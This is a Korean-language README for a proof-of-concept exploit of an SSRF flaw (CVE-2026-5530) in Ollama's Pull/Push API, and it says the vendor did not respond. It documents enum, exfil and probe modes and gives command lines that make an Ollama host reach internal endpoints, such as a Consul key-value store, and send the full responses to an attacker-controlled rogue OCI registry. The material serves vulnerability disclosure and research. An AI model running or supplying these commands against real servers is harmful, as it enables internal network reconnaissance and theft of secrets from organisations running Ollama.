
CVE-2026-5530에 대한 개념 증명 익스플로잇으로, Ollama의 Pull/Push API에 존재하는 SSRF 취약점을 이용하여 내부 엔드포인트 열거와 악성 OCI 레지스트리를 통한 전체 응답 탈취를 가능하게 합니다.
OCI 레지스트리 리다이렉트를 통한 Ollama SSRF 및 전체 응답 탈취.
Writeup: https://davidrochester.com/posts/cve-2026-5530
Ollama에 여러 차례 연락을 시도했으나 응답이 없었습니다.
enum, exfil, probe의 세 가지 모드가 있습니다.
Ollama 호스트에서 접근 가능한 내부 활성 엔드포인트를 탐색합니다.
python3 poc.py targets.txt --registry-host <your-ip>
응답 크기를 알고 있을 때 SSRF 응답을 탈취합니다.
python3 poc.py http://internal:8500/v1/kv/?recurse --exfil --size 960 --registry-host <your-ip>
응답 크기를 이진 탐색으로 자동으로 찾은 후 탈취합니다.
python3 poc.py http://internal:8500/v1/kv/?recurse --probe --registry-host <your-ip>
target URL 또는 URL 파일 (한 줄에 하나, #은 주석)
-p, --port rogue 레지스트리 포트 (기본값: 9999)
--exfil-port 탈취 레지스트리 포트 (기본값: 10000)
--exfil 탈취 모드, --size 필요
--probe 크기 이진 탐색 후 탈취
--size Content-Length (--exfil과 함께 필수)
--registry-host Ollama가 접근 가능한 공격자 IP/호스트명
--ollama Ollama API URL (기본값: http://127.0.0.1:11434)